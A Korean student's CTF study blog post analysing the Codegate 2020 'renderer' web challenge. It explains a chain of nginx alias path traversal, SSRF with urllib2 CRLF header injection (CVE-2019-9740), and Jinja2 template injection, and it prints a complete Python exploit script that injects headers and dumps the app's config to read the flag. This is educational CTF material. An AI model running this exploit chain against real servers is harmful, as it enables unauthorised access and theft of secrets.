본문 바로가기

웹/CTF study & write up

ctf study #3

ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.

 

1. CTF 문제

Codegate CTF 2020 Preliminary 'renderer'문제입니다.

라업은 아래의 세 개의 라업을 참고했습니다.

github.com/empty-jack/ctf-writeups/blob/master/CodeGate-2020/web-renderer.md#alias-traversal

 

empty-jack/ctf-writeups

Contribute to empty-jack/ctf-writeups development by creating an account on GitHub.

github.com

m.blog.naver.com/dmbs335/221803767610

 

[Codegate 2020] Renderer

꼭 참여 하고 싶은 대회였지만 여건이 안되서 휴가를 못나가는 바람에 제대로 참여할 수 없었다.​1. misco...

blog.naver.com

github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/README.md

 

im-0/ctf

Some CTF writeups. Contribute to im-0/ctf development by creating an account on GitHub.

github.com

2. 취약점 목록

1. nginx alias traversal 

2. SSRF+CRLF (CVE-2019-9740)

3. SSTI

3. 분석

먼저 주어진 파일과 도커 파일입니다.

settings/run.sh

#!/bin/bash

service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask

service nginx restart

uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &

/bin/bash

Dockerfile

FROM python:2.7.16

ENV FLAG CODEGATE2020{**DELETED**}

RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi

ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf

ADD prob_src/static /home/static
RUN chmod 777 /home/static

RUN mkdir /home/tickets
RUN chmod 777 /home/tickets

ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh

ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh

CMD ["/bin/bash", "/home/run.sh"]

1. nginx alias traversal 

 

첫 번째 라업을 보면 'It is my first flask project with nginx'라는 문구를 보고 nginx alias traversal이라는 취약점을 떠올렸다고 합니다.

저는 이 취약점을 몰랐기 때문에 자료를 찾아보면서 공부했습니다. 먼저 nginx는 웹 서버입니다. 그리고 이 웹서버에서는 alias라는 별칭을 이용하여서 디렉토리를 간단하게 표시할 수 있습니다.

location /i/ {
    alias /data/w3/images/;
}

이렇게 위치를 지정하게 되면 /data/w3/images/ 와 /i/는 서버에서 같은 디렉토리의 위치로 받아들입니다. 하지만

location /i {
    alias /data/w3/images/;
}

이런식으로 i 뒤의 슬래시가 없이 지정하게 되면 최종 디렉토리인 images에만 접근이 가능한 것이 아니라 상위 디렉토리인 w3디렉토리에 접근 가능해지고 그렇게 되면 w3에 존재하는 모든 파일에 접근이 가능하게 됩니다. 그리고 현재 docker 파일의 정보를 통해 우리가 원하는 정보가 있는 디렉토리를 대략 알 수 있기 때문에 문제의 파일에 접근이 가능하게 되는 것입니다.

 

nginx서버와 alias에 관한 내용을 추가적으로 공부하고 싶다면 아래의 링크를 참고하면 좋을 것 같습니다.

www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

 

Path traversal via misconfigured NGINX alias - Vulnerabilities - Acunetix

 

www.acunetix.com

위의 방법으로 얻은 파일들은 아래와 같습니다.

 

/home/src/uwsgi.ini

[uwsgi]
chdir = /home/src
module = run
callable = app
processes = 4
uid = www-data
gid = www-data
socket = /tmp/renderer.sock
chmod-socket = 666
vacuum = true
daemonize = /tmp/uwsgi.log
die-on-term = true
pidfile = /tmp/renderer.pid

/home/src/run.py

from app import *
import sys

def main():
    #TODO : disable debug
    app.run(debug=False, host="0.0.0.0", port=80)

if __name__ == '__main__':
    main()

/home/src/app/init.py

from flask import Flask
from app import routes
import os

app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")

/home/src/app/routes.py

from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

front = Blueprint("renderer", __name__)

@front.before_request
def test():
    print(request.url)

@front.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    
    url = request.form.get("url")
    res = proxy_read(url) if url else False
    if not res:
        abort(400)

    return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()

    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)

    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()

    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

def get_ip():
    return request.remote_addr

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()

def proxy_read(url):
    #TODO : implement logging
    
    s = urlparse(url).scheme
    if s not in ["http", "https"]: #sjgdmfRk akfRk
        return ""

    return urllib2.urlopen(url).read()

def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)
    
    return tid

def write_extend_log(rip, body):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        f.write(body)

    return tid

def read_log(ticket):
    if not (ticket and ticket.isalnum()):
        return False
    
    if path.exists("/home/tickets/%s" % ticket):
        with open("/home/tickets/%s" % ticket, "r") as f:
            return f.read()
    else:
        return False

소스코드 중 routes.py 파일에 다양한 정보들이 포함되어 있고 문제를 공략할 만한 취약점이 포함되어 있습니다. 소스코드는 파이썬의 플라스크로 작성되어 있습니다. 이 문제들 외에도 어떤 문제를 공부할지 찾아보면서 느낀점이 플라스크를 사용하는 문제들이 꽤나 많았고, 앞으로 공부해두어서 나쁠게 없는 웹 프로그래밍 언어인 것 같습니다.

여기서 함수로 정의 되어 있는 부분들은 간단하게 정리하면 

  • / - already known "proxy service";
  • /whatismyip - shows user's IP address;
  • /admin - writes some info into separate per-request log files;
  • /admin/ticket - allows reading of log files.

이런 식으로 정리할 수 있습니다.  즉 함수 이름처럼 동작하는 함수라고 생각하면 될 것 같습니다.

 

2. SSRF+CRLF (CVE-2019-9740)

여기서 /admin과 /admin/ticket 부분에서 ip가 127.0.0.1이나 127.0.0.2로 맞추어져 있지 않으면 죽는 부분을 발견할 수 있습니다. 그렇기 때문에 IP주소를 맞추어 주어야 하는데 이 부분은 프록시 서비스에서 http://127.0.0.1/something을 요청하면 됩니다. 이를 요청하기 위해서는 플라스크의 requset.remote_addr과 nginx에서 추가한 HTTP 헤더 X-Forwarded-For이 필요합니다.

 

이 문제에서는 HTTP 헤더를 변조하는 것이 더 까다롭습니다. 이때 두 번째 취약점을 이용하서 변조하게 되는데 routes.py 파일의 proxy_read 함수에서 urlib2를 사용하여 url 받게 되는데 이 문제의 파이썬 버젼인 2.7.16에서는 urlib2를 이용한 HTTP 헤더 인젝션 공격(CVE-2019-9047 취약점)이 가능합니다. 즉 HTTP 헤더를 변조하는 것이 가능하다는 뜻이 됩니다. 이에 대한 정보는 아래의 글을 참고해서 공부했습니다. 그리고 공식적인(?) 자료의 링크도 같이 첨부하겠습니다. 이는 현재 버젼이 업데이트 되면서 막힌것으로 알고 있습니다.(이 부분은 정확한 정보가 아닙니다. 저도 다시 한 번 더 찾아본 뒤 추후에 수정하도록 하겠습니다.)

blog.alyac.co.kr/668

 

Python urllib HTTP 헤더 인젝션 취약점

Python urllib HTTP 헤더 인젝션 취약점 Python의 urllib라이브러리(Python2에서는 urllib2,Python3에서는 urllib)에는 HTTP 스키마에 프로토콜 스트림 인젝션 취약점이 존재합니다. 만약 공격자가 Python 코드를..

blog.alyac.co.kr

bugs.python.org/issue36276

 

Issue 36276: [CVE-2019-9740] Python urllib CRLF injection vulnerability - Python tracker

Issue36276 Created on 2019-03-13 01:26 by ragdoll.guo, last changed 2019-04-10 00:39 by gregory.p.smith. This issue is now closed. URL Status Linked Edit PR 12755 merged gregory.p.smith, 2019-04-10 00:39 msg337827 - (view) Author: ragdoll (ragdoll.guo) Dat

bugs.python.org

이 취약점을 통해 HTTP 헤더의 정보를 변조할 수 있기 때문에 조건 IP를 맞출 수 있게 됩니다.

3. SSTI

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()

    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

def read_log(ticket):
    if not (ticket and ticket.isalnum()):
        return False
    
    if path.exists("/home/tickets/%s" % ticket):
        with open("/home/tickets/%s" % ticket, "r") as f:
            return f.read()
    else:
        return False

routes.py 파일의 /admin/ticket 부분을 이용해 시스템의 로그 파일을 읽어올 수 있습니다. 소스코드에서 처음 봤을 때 바로 이해가 되지 않은 부분은 request.header.get과 request.args.get부분이었습니다. 나머지 부분은 비록 제가 플라스크에 대해서 아직 자세히 알지 못하지만 기본이 파이썬 기반이기 때문에 어느정도 이해를 했습니다. 이 두 부분을 찾아보니

  • request.header.get : HTTP 헤더의 정보중 인자에 해당하는 정보를 가져옴
  • request.args.get :  우리가 아는 get방식으로 파리미터의 값을 가져오는 형태

이렇게 이해 했습니다. 만약 추후에 공부하다가 이 내용이 잘못 되었을 경우에는 바로 수정하도록 하겠습니다.

 

그리고 이 함수들에서 주목해야 할점은 플라스크의 render_template_string 함수를 사용했다는 점입니다. 이 함수를 쓸 경우에는 템플릿 언어가 jinja2를 사용하는 것을 알 수 있다고 합니다. 그래서 jinja2 코드를 서버 단에서 삽입하는 공격을 사용하게 되는데 이  부분이 Sever-Side Template Injection, SSTI 취약점을 이용 하는 것입니다. 이 공격은 단순히 사용할 수 있는 것이 아니라 사용한 가능한 조건을 살펴보아야 하는데

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()


@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()
    ...
    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

이 부분입니다. 여기서 X-Forwarded-For부분을 받아서 사용하게 되는데 앞의 취약점을 통해 변조가 가능하기 때문에 공격자가 원하는 템플릿 코드를 삽입할 수 있다는 것을 알 수 있습니다.

Server Side Template Injection 공격을 템플릿 언어별로 정리해놓은 링크입니다.

github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---write-into-remote-file

 

swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

이를 통해 플래그를 읽어오는 템플릿 코드를 사용하면 플래그를 읽을 수 있게 됩니다.

4. 전체 익스코드 분석

#!/usr/bin/python3

import urllib.parse
import urllib.request
import urllib.error


_URL = 'http://110.10.147.169/renderer/'
#_URL = 'http://127.0.0.123/renderer/'

_HDRS = ''.join((
    ' HTTP/1.1\r\n',
    'X-Forwarded-For: %s\r\n',
    'Accept-Encoding: identity\r\n',
    'Host: 127.0.0.1\r\n',
    'Connection: close\r\n',
    'User-Agent: AdminBrowser/1.337\r\n',
    '\r\n',
    '\r\n',
    'grbg',
))

_INJ = '''
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
'''.replace('\n', ' ')


def _post(data_url):
    data = {
        'url': data_url,
    }
    data = urllib.parse.urlencode(data).encode()
    request = urllib.request.Request(_URL, data)
    try:
        response = urllib.request.urlopen(request)
    except urllib.error.HTTPError as exc:
        response = exc

    return response


def _try(data_url, ip='127.0.0.1'):
    data_url = data_url + _HDRS % (ip, )
    print('url:', data_url)
    response = _post(data_url)

    print('code:', response.code)
    contents = response.read().decode('utf-8').split('\n')

    proxied = None
    for line in contents:
        if proxied is None:
            if '<div class="proxy-body">' in line:
                proxied = []
        else:
            if '</div>' in line:
                break
            proxied.append(line)
    if proxied is None:
        proxied = contents

    proxied = '\n'.join('    |' + line for line in proxied)
    print('contents:')
    print(proxied)
    print()

    return proxied


def _create_ticket():
    contents = _try('http://127.0.0.1/renderer/admin', _INJ)
    for line in contents.split('\n'):
        if 'Your access log is written with ticket no' in line:
            return line.split()[-1]
    assert False


def _read_ticket(id):
    _try(f'http://127.0.0.1/renderer/admin/ticket?ticket={id}')


def _do():
    #_try(_URL)
    #_try('http://127.0.0.1/renderer/whatismyip')
    #_try('http://127.0.0.1/renderer/admin')
    #_try('http://127.0.0.1/renderer/admin/ticket')

    tid = _create_ticket()
    print('Ticket id:', tid)
    _read_ticket(tid)


_do()

위의 익스코드는 분석 부분에서 설명한 부분들을 파이썬 코드로 작성한 것들입니다. 제가 링크해놓은 라업들을 보면 단순히 url을 통해 정볼를 전달하여 푼 풀이도 있습니다. 하지만 전체적인 부분을 다시 정리한 코드라 가져왔습니다. 필요한 http 헤더 정보를 변수에 저장해 둔 후 _try 함수를 통해 url을 계속 바꿔가보면서 서버에 전달했을 때 결과값을 정리해주는 함수입니다. 즉, 여러 번 공격 url을 작성하여서 파이썬 코드를 이용해 공격해 본 뒤 최종적인 공격 코드로 공격에 성공하여 읽어온 플래그의 값을 읽어오는 구조입니다.

5. 리뷰

아무래도 코드게이트라는 큰 대회의 문제인만큼 공부할 부분도 굉장히 많았고, 공부하면서 막힌 부분도 굉장히 많았습니다. 동아리 수업에서 들었던 SSRF와 CSRF가 적용된 문제는 처음 보았기 때문에, 이 취약점들의 개념을 다시 공부하고 어떻게 사용되는지 문제를 통해 보았기 때문에 느낌이 달랐던 것 같습니다. 그리고 플라스크라는 언어와 nginx라는 웹 서버의 개념도 생소했고, 해당 서버에서만 발견되는 취약점과 템플릿 언어의 공격 코드를 이용한 SSTI 취약점 역시 처음 공부해보는 내용이라 새로운 개념을 공부할 수 있는 문제였습니다. 다른 대회보다는 확실히 여려 취약점들이 연계되어 들어간 문제인만큼 난이도도 꽤 높게 느꼈던 것 같았습니다. 그래서 제가 처음 푼다고 생각한다면 이 문제의 점수는 거의 8점 정도 줄 것 같습니다. 일단 이 서버에 대한 취약점을 전혀 몰랐기 때문에 문제의 소스코드를 얻는 과정도 쉽지 않았을 것 같고, 문제의 코드를 얻는다고 해도 여러가지 생소한 취약점들을 조합하여 문제를 푼 경험도 거의 없기 때문에 상당히 어려운 문제라고 생각했습니다. 하지만 그래도 이 문제를 분석하고 공부하면서 얻은 점들은 굉장히 많다고 생각합니다.

' > CTF study & write up' 카테고리의 다른 글

ctf study #6  (0) 2021.02.24
ctf study #5  (0) 2021.02.17
ctf study #4  (0) 2021.02.15
ctf sutdy #2  (0) 2021.02.09
ctf sutdy #1  (0) 2021.02.03